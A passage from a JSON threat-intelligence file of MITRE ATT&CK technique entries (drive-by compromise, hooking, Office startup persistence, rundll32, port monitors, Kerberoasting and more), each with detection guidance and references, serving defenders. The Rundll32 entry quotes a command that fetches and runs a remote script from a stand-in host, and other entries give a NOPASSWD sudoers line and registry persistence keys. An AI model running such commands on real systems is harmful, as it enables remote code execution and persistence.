the user's system unless other protections are in place.\n#* In some cases a second visit to the website after the initial scan is required before exploit code is delivered.\n\nUnlike Exploit Public-Facing Application, the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.\n\nDetection: Firewalls and proxies can inspect URLs for potentially known-bad domains or parameters. They can also do reputation-based analytics on websites and their requested resources such as how old a domain is, who it's registered to, if it's on a known bad list, or how many other users have connected to it before.\n\nNetwork intrusion detection systems, sometimes with SSL/TLS MITM inspection, can be used to look for known malicious scripts (recon, heap spray, and browser identification scripts have been frequently reused), common script obfuscation, and exploit code.\n\nDetecting compromise based on the drive-by exploit from a legitimate website may be difficult. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of browser processes. This could include suspicious files written to disk, evidence of Process Injection for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Packet capture, Network device logs, Process use of network, Web proxy, Network intrusion detection system, SSL/TLS inspection\n\nPermissions Required: User", + "value": "Drive-by Compromise - T1189", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1189", + "http://blog.shadowserver.org/2012/05/15/cyber-espionage-strategic-web-compromises-trusted-websites-serving-dangerous-results/" + ], + "external_id": "T1189", + "kill_chain": [ + "mitre-attack:enterprise-attack:initial-access" + ], + "mitre_data_sources": [ + "Packet capture", + "Network device logs", + "Process use of network", + "Web proxy", + "Network intrusion detection system", + "SSL/TLS inspection" + ], + "mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ] + }, + "uuid": "d742a578-d70e-4d0e-96a6-02a9c30204e6" + }, + { + "description": "Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as Windows Remote Management can also be used externally.\n\nAdversaries may use remote services to access and persist within a network. (Citation: Volexity Virtual Private Keylogging) Access to Valid Accounts to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network. Access to remote services may be used as part of Redundant Access during an operation.\n\nDetection: Follow best practices for detecting adversary use of Valid Accounts for authenticating to remote services. Collect authentication logs and analyze for unusual access patterns, windows of activity, and access outside of normal business hours.\n\nPlatforms: Windows\n\nData Sources: Authentication logs\n\nPermissions Required: User\n\nContributors: Daniel Oakley, Travis Smith, Tripwire", + "value": "External Remote Services - T1133", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1133", + "https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/" + ], + "external_id": "T1133", + "kill_chain": [ + "mitre-attack:enterprise-attack:persistence" + ], + "mitre_data_sources": [ + "Authentication logs" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "10d51417-ee35-4589-b1ff-b6df1c334e8d" + }, + { + "description": "Adversaries may deploy malicious software to systems within a network using application deployment systems employed by enterprise administrators. The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment.\n\nAccess to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.\n\nDetection: Monitor application deployments from a secondary system. Perform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process use of network, Process monitoring\n\nSystem Requirements: Access to application deployment software (EPO, HPCA, Altiris, etc.)", + "value": "Application Deployment Software - T1017", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1017" + ], + "external_id": "T1017", + "kill_chain": [ + "mitre-attack:enterprise-attack:lateral-movement" + ], + "mitre_data_sources": [ + "File monitoring", + "Process use of network", + "Process monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ] + }, + "uuid": "327f3cc5-eea1-42d4-a6cd-ed34b7ce8f61" + }, + { + "description": "Windows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions. Hooking involves redirecting calls to these functions and can be implemented via:\n* '''Hooks procedures''', which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs. (Citation: Microsoft Hook Overview) (Citation: Engame Process Injection July 2017)\n* '''Import address table (IAT) hooking''', which use modifications to a process\u2019s IAT, where pointers to imported API functions are stored. (Citation: Engame Process Injection July 2017) (Citation: Adlice Software IAT Hooks Oct 2014) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n* '''Inline hooking''', which overwrites the first bytes in an API function to redirect code flow. (Citation: Engame Process Injection July 2017) (Citation: HighTech Bridge Inline Hooking Sept 2011) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n\nSimilar to Process Injection, adversaries may use hooking to load and execute malicious code within the context of another process, masking the execution while also allowing access to the process's memory and possibly elevated privileges. Installing hooking mechanisms may also provide Persistence via continuous invocation when the functions are called through normal use.\n\nMalicious hooking mechanisms may also capture API calls that include parameters that reveal user authentication credentials for Credential Access. (Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017)\n\nHooking is commonly utilized by Rootkits to conceal files,\nprocesses, Registry keys, and other objects in order to hide malware and associated behaviors. (Citation: Symantec Windows Rootkits)\n\nDetection: Monitor for calls to the SetWindowsHookEx and SetWinEventHook functions, which install a hook procedure. (Citation: Microsoft Hook Overview) (Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools (Citation: Volatility Detecting Hooks Sept 2012) (Citation: PreKageo Winhook Jul 2011) (Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures. (Citation: Zairon Hooking Dec 2006) (Citation: EyeofRa Detecting Hooking June 2017)\n\nRootkits detectors (Citation: GMER Rootkits) can also be used to monitor for various flavors of hooking activity.\n\nVerify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes (Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions. (Citation: StackExchange Hooks Jul 2012) (Citation: Adlice Software IAT Hooks Oct 2014)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.\n\nPlatforms: Windows\n\nData Sources: API monitoring, Binary file metadata, DLL monitoring, Loaded DLLs, Process Monitoring, Windows event logs\n\nPermissions Required: Administrator, SYSTEM", + "value": "Hooking - T1179", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1179", + "https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx", + "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", + "https://www.adlice.com/userland-rootkits-part-1-iat-hooks/", + "https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/", + "https://www.exploit-db.com/docs/17802.pdf", + "https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf", + "https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html", + "https://github.com/prekageo/winhook", + "https://github.com/jay/gethooks", + "https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/", + "https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/", + "http://www.gmer.net/", + "https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx", + "https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis" + ], + "external_id": "T1179", + "kill_chain": [ + "mitre-attack:enterprise-attack:credential-access", + "mitre-attack:enterprise-attack:persistence", + "mitre-attack:enterprise-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "API monitoring", + "Binary file metadata", + "DLL monitoring", + "Loaded DLLs", + "Process Monitoring", + "Windows event logs" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "66f73398-8394-4711-85e5-34c8540b22a5" + }, + { + "description": "Port Knocking is a well-established method used by both defenders and adversaries to hide open ports from access. To enable the port, the system expects a series of packets with certain characteristics before the port will be opened. This is often accomlished by the host based firewall, but could also be implemented by custom software. \n\nThis technique has been observed to both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r, is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.\n\nDetection: Record network packets sent to and from the system, looking for extraneous packets that do not belong to established flows.\n\nPlatforms: Linux, macOS\n\nPermissions Required: User", + "value": "Port Knocking - T1205", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1205" + ], + "external_id": "T1205", + "kill_chain": [ + "mitre-attack:enterprise-attack:command-and-control", + "mitre-attack:enterprise-attack:defense-evasion", + "mitre-attack:enterprise-attack:persistence" + ], + "mitre_platforms": [ + "Linux", + "macOS" + ] + }, + "uuid": "451a9977-d255-43c9-b431-66de80130c8c" + }, + { + "description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of Scripting to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. This functionality could also be built into remote access tools. \n\nThis technique may incorporate use of other techniques such as File and Directory Discovery and Remote File Copy to identify and move files.\n\nDetection: Depending on the method used, actions could include common file system commands and parameters on the command-line interface within batch files or scripts. A sequence of actions like this may be unusual, depending on the system and network environment. Automated collection may occur along with other techniques such as Data Staged. As such, file access monitoring that shows an unusual process performing sequential file opens and potentially copy actions to another location on the file system for many files at once may indicate automated collection behavior. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process command-line parameters, Data loss prevention\n\nPermissions Required: User\n\nSystem Requirements: Permissions to access directories and files that store information of interest.", + "value": "Automated Collection - T1119", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1119" + ], + "external_id": "T1119", + "kill_chain": [ + "mitre-attack:enterprise-attack:collection" + ], + "mitre_data_sources": [ + "File monitoring", + "Process command-line parameters", + "Data loss prevention" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ] + }, + "uuid": "30208d3e-0d6b-43c8-883e-44462a514619" + }, + { + "description": "Windows Security Support Provider (SSP) DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages and HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.\n (Citation: Graeber 2014)\n\nDetection: Monitor the Registry for changes to the SSP Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned SSP DLLs try to load into the LSA by setting the Registry key HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)\n\nPlatforms: Windows\n\nData Sources: DLL monitoring, Windows Registry, Loaded DLLs\n\nPermissions Required: Administrator", + "value": "Security Support Provider - T1101", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1101", + "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html", + "https://technet.microsoft.com/en-us/library/dn408187.aspx" + ], + "external_id": "T1101", + "kill_chain": [ + "mitre-attack:enterprise-attack:persistence" + ], + "mitre_data_sources": [ + "DLL monitoring", + "Windows Registry", + "Loaded DLLs" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "6c174520-beea-43d9-aac6-28fb77f3e446" + }, + { + "description": "The sudoers file, /etc/sudoers, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the idea of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like user1 ALL=(ALL) NOPASSWD: ALL (Citation: OSX.Dok Malware). \n\nAdversaries can take advantage of these configurations to execute commands as other users or spawn processes with higher privileges. You must have elevated privileges to edit this file though.\n\nDetection: On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo).\n\nPlatforms: Linux, macOS\n\nData Sources: File monitoring\n\nEffective Permissions: root\n\nPermissions Required: User", + "value": "Sudo - T1169", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1169", + "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/" + ], + "external_id": "T1169", + "kill_chain": [ + "mitre-attack:enterprise-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "File monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS" + ] + }, + "uuid": "9e80ddfb-ce32-4961-a778-ca6a10cfae72" + }, + { + "description": "Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started.\n\n===Office Template Macros===\n\nMicrosoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. (Citation: Microsoft Change Normal Template)\n\nOffice Visual Basic for Applications (VBA) macros (Citation: MSDN VBA in Office) can inserted into the base templated and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded. (Citation: enigma0x3 normal.dotm) (Citation: Hexacorn Office Template Macros)\n\nWord Normal.dotm location:C:\\Users\\(username)\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm\n\nExcel Personal.xlsb location:C:\\Users\\(username)\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\PERSONAL.XLSB\n\nAn adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.\n\n===Office Test===\n\nA Registry location was found that when a DLL reference was placed within it the corresponding DLL pointed to by the binary path would be executed every time an Office application is started (Citation: Hexacorn Office Test)\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Office test\\Special\\Perf\n\n===Add-ins===\n\nOffice add-ins can be used to add functionality to Office programs. (Citation: Microsoft Office Add-ins)\n\nAdd-ins can also be used to obtain persistence because they can be set to execute code when an Office application starts. There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), and Visual Studio Tools for Office (VSTO) add-ins. (Citation: MRWLabs Office Persistence Add-ins)\n\nDetection: Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence. Modification to base templated, like Normal.dotm, should also be investigated since the base templates should likely not contain VBA macros. Changes to the Office macro security settings should also be investigated.\n\nMonitor and validate the Office trusted locations on the file system and audit the Registry entries relevant for enabling add-ins. (Citation: MRWLabs Office Persistence Add-ins)\n\nNon-standard process execution trees may also indicate suspicious or malicious behavior. Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. If winword.exe is the parent process for suspicious processes and activity relating to other adversarial techniques, then it could indicate that the application was used maliciously.\n\nPlatforms: Windows\n\nData Sources: Process monitoring, Process command-line parameters, Windows Registry, File monitoring\n\nPermissions Required: User, Administrator\n\nSystem Requirements: Office Test technique: Office 2007, 2010, 2013, 2015 and 2016\nAdd-ins: some require administrator permissions\n\nContributors: Ricardo Dias, Loic Jaquemet", + "value": "Office Application Startup - T1137", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1137", + "https://support.office.com/article/Change-the-Normal-template-Normal-dotm-06de294b-d216-47f6-ab77-ccb5166f98ea", + "https://msdn.microsoft.com/en-us/vba/office-shared-vba/articles/getting-started-with-vba-in-office", + "https://enigma0x3.net/2014/01/23/maintaining-access-with-normal-dotm/comment-page-1/", + "http://www.hexacorn.com/blog/2017/04/19/beyond-good-ol-run-key-part-62/", + "http://www.hexacorn.com/blog/2014/04/16/beyond-good-ol-run-key-part-10/", + "https://support.office.com/article/Add-or-remove-add-ins-0af570c4-5cf3-4fa9-9b88-403625a0b460", + "https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/" + ], + "external_id": "T1137", + "kill_chain": [ + "mitre-attack:enterprise-attack:persistence" + ], + "mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters", + "Windows Registry", + "File monitoring" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "2c4d4e92-0ccf-4a97-b54c-86d662988a53" + }, + { + "description": "The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations.\n\nRundll32.exe can be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)\n\nRundll32 can also been used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)\n\nDetection: Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Binary file metadata, Process command-line parameters, Process monitoring\n\nDefense Bypassed: Anti-virus, Application whitelisting\n\nPermissions Required: User\n\nRemote Support: No\n\nContributors: Ricardo Dias, Casey Smith", + "value": "Rundll32 - T1085", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1085", + "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf", + "https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/" + ], + "external_id": "T1085", + "kill_chain": [ + "mitre-attack:enterprise-attack:defense-evasion", + "mitre-attack:enterprise-attack:execution" + ], + "mitre_data_sources": [ + "File monitoring", + "Binary file metadata", + "Process command-line parameters", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5" + }, + { + "description": "Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection.\n\nUser credentials may be sent over an insecure, unencrypted protocol that can be captured and obtained through network packet analysis. An adversary may place a network interface into promiscuous mode, using a utility to capture traffic in transit over the network or use span ports to capture a larger amount of data. In addition, techniques for name service resolution poisoning, such as LLMNR/NBT-NS Poisoning, can be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.\n\nDetection: Detecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a man-in-the-middle attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Network device logs, Host network interface, Netflow/Enclave netflow\n\nPermissions Required: Administrator, SYSTEM\n\nSystem Requirements: Network interface access and packet capture driver", + "value": "Network Sniffing - T1040", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1040" + ], + "external_id": "T1040", + "kill_chain": [ + "mitre-attack:enterprise-attack:credential-access" + ], + "mitre_data_sources": [ + "Network device logs", + "Host network interface", + "Netflow/Enclave netflow" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ] + }, + "uuid": "3257eb21-f9a7-4430-8de1-d8b6e288f529" + }, + { + "description": "A port monitor can be set through the (Citation: AddMonitor) API call to set a DLL to be loaded at startup. (Citation: AddMonitor) This DLL can be located in C:\\Windows\\System32 and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions. (Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors. The Registry key contains entries for the following:\n*Local Port\n*Standard TCP/IP Port\n*USB Monitor\n*WSD Port\n\nAdversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.\n\nDetection: * Monitor process API calls to (Citation: AddMonitor).\n* Monitor DLLs that are loaded by spoolsv.exe for DLLs that are abnormal.\n* New DLLs written to the System32 directory that do not correlate with known good software or patching may be suspicious.\n* Monitor Registry writes to HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors.\n* Run the Autoruns utility, which checks for this Registry key as a persistence mechanism (Citation: TechNet Autoruns)\n\nPlatforms: Windows\n\nData Sources: File monitoring, API monitoring, DLL monitoring, Windows Registry, Process monitoring\n\nEffective Permissions: SYSTEM\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Stefan Kanthak, Travis Smith, Tripwire", + "value": "Port Monitors - T1013", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1013", + "http://msdn.microsoft.com/en-us/library/dd183341", + "https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf", + "https://technet.microsoft.com/en-us/sysinternals/bb963902" + ], + "external_id": "T1013", + "kill_chain": [ + "mitre-attack:enterprise-attack:persistence", + "mitre-attack:enterprise-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "File monitoring", + "API monitoring", + "DLL monitoring", + "Windows Registry", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "1f47e2fd-fa77-4f2f-88ee-e85df308f125" + }, + { + "description": "Browser extensions or plugins are small programs that can add functionality and customize aspects of internet browsers. They can be installed directly or through a browser's app store. Extensions generally have access and permissions to everything that the browser can access. (Citation: Wikipedia Browser Extension) (Citation: Chrome Extensions Definition)\n\nMalicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores so may not be difficult for malicious extensions to defeat automated scanners and be uploaded. (Citation: Malicious Chrome Extension Numbers) Once the extension is installed, it can browse to websites in the background, (Citation: Chrome Extension Crypto Miner) (Citation: ICEBRG Chrome Extensions) steal all information that a user enters into a browser, to include credentials, (Citation: Banker Google Chrome Extension Steals Creds) (Citation: Catch All Chrome Extension) and be used as an installer for a RAT for persistence. There have been instances of botnets using a persistent backdoor through malicious Chrome extensions. (Citation: Stantinko Botnet) There have also been similar examples of extensions being used for command & control (Citation: Chrome Extension C2 Malware).\n\nDetection: Inventory and monitor browser extension installations that deviate from normal, expected, and benign extensions. Process and network monitoring can be used to detect browsers communicating with a C2 server. However, this may prove to be a difficult way of initially detecting a malicious extension depending on the nature and volume of the traffic it generates.\n\nMonitor for any new items written to the Registry or PE files written to disk. That may correlate with browser extension installation.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Network protocol analysis, Packet capture, System calls, Process use of network, Process monitoring, Browser extensions\n\nPermissions Required: User\n\nContributors: Justin Warner, ICEBRG", + "value": "Browser Extensions - T1176", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1176", + "https://en.wikipedia.org/wiki/Browser%20extension", + "https://developer.chrome.com/extensions", + "https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/43824.pdf", + "https://www.ghacks.net/2017/09/19/first-chrome-extension-with-javascript-crypto-miner-detected/", + "https://isc.sans.edu/forums/diary/BankerGoogleChromeExtensiontargetingBrazil/22722/", + "https://isc.sans.edu/forums/diary/CatchAll+Google+Chrome+Malicious+Extension+Steals+All+Posted+Data/22976/https:/threatpost.com/malicious-chrome-extension-steals-data-posted-to-any-website/128680/)", + "https://www.welivesecurity.com/2017/07/20/stantinko-massive-adware-campaign-operating-covertly-since-2012/", + "https://kjaer.io/extension-malware/", + "https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses" + ], + "external_id": "T1176", + "kill_chain": [ + "mitre-attack:enterprise-attack:persistence" + ], + "mitre_data_sources": [ + "Network protocol analysis", + "Packet capture", + "System calls", + "Process use of network", + "Process monitoring", + "Browser extensions" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ] + }, + "uuid": "389735f1-f21c-4208-b8f0-f8031e7169b8" + }, + { + "description": "Computer accessories, computers or networking hardware may be introduced into a system as a vector to gain execution. While public references of usage by APT groups are scarce, many penetration testers leverage hardware additions for initial access. Commercial and open source products are leveraged with capabilities such as passive network tapping (Citation: Ossmann Star Feb 2011), man-in-the middle encryption breaking (Citation: Aleks Weapons Nov 2015), keystroke injection (Citation: Hak5 RubberDuck Dec 2016), kernel memory reading via DMA (Citation: Frisk DMA August 2016), adding new wireless access to an existing network (Citation: McMillan Pwn March 2012), and others.\n\nDetection: Asset management systems may help with the detection of computer systems or network devices that should not exist on a network. \n\nEndpoint sensors may be able to detect the addition of hardware via USB, Thunderbolt, and other external device communication ports.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Asset Management, Data loss prevention", + "value": "Hardware Additions - T1200", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1200", + "https://ossmann.blogspot.com/2011/02/throwing-star-lan-tap.html", + "http://www.bsidesto.ca/2015/slides/Weapons%20of%20a%20Penetration%20Tester.pptx", + "https://www.hak5.org/blog/main-blog/stealing-files-with-the-usb-rubber-ducky-usb-exfiltration-explained", + "https://www.youtube.com/watch?v=fXthwl6ShOg", + "https://arstechnica.com/information-technology/2012/03/the-pwn-plug-is-a-little-white-box-that-can-hack-your-network/" + ], + "external_id": "T1200", + "kill_chain": [ + "mitre-attack:enterprise-attack:initial-access" + ], + "mitre_data_sources": [ + "Asset Management", + "Data loss prevention" + ], + "mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ] + }, + "uuid": "d40239b3-05ff-46d8-9bdd-b46d13463ef9" + }, + { + "description": "Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory.\n\nUtilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, (Citation: Wikipedia Exe Compression) but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.\n\nDetection: Use file scanning to look for known software packers or artifacts of packing techniques. Packing is not a definitive indicator of malicious activity, because legitimate software may use packing techniques to reduce binary size or to protect proprietary code.\n\nPlatforms: Windows\n\nData Sources: Binary file metadata\n\nDefense Bypassed: Anti-virus, Signature-based detection, Heuristic detection", + "value": "Software Packing - T1045", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1045", + "http://en.wikipedia.org/wiki/Executable%20compression" + ], + "external_id": "T1045", + "kill_chain": [ + "mitre-attack:enterprise-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Binary file metadata" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "6ff403bc-93e3-48be-8687-e102fdba8c88" + }, + { + "description": "Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used or give context to information collected by a keylogger.\n\nIn Mac, this can be done natively with a small AppleScript script.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: macOS, Windows\n\nData Sources: API monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: User", + "value": "Application Window Discovery - T1010", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1010" + ], + "external_id": "T1010", + "kill_chain": [ + "mitre-attack:enterprise-attack:discovery" + ], + "mitre_data_sources": [ + "API monitoring", + "Process command-line parameters", + "Process monitoring" + ], + "mitre_platforms": [ + "macOS", + "Windows" + ] + }, + "uuid": "4ae4f953-fe58-4cc8-a327-33257e30a830" + }, + { + "description": "Service principle names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service (Citation: Microsoft Detecting Kerberoasting Feb 2018)). (Citation: Microsoft SPN) (Citation: Microsoft SetSPN) (Citation: SANS Attacking Kerberos Nov 2014) (Citation: Harmj0y Kerberoast Nov 2016)\n\nAdversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC). (Citation: Empire InvokeKerberoast Oct 2016) (Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline Brute Force attacks that may expose plaintext credentials. (Citation: AdSecurity Cracking Kerberos Dec 2015) (Citation: Empire InvokeKerberoast Oct 2016) 